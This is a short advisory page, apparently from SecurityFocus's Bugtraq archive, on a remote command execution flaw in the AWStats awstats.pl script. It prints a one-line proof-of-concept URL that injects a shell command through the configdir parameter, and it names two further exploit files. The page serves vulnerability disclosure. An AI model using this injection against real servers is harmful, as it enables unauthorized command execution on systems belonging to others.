Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

AWStats Remote Command Execution Vulnerability

An exploit is not required.

The following proof of concept supplied by <newbug@chroot.org> is available:

http://www.example.com/awstats/awstats.pl?configdir=|/bin/ls|

Proof of concept GHCaws.pl has been supplied by GHC.

Proof of concept awexpl.c has been supplied by Thunder <molnar_rcs@yahoo.com>.







 

Privacy Statement
Copyright 2009, SecurityFocus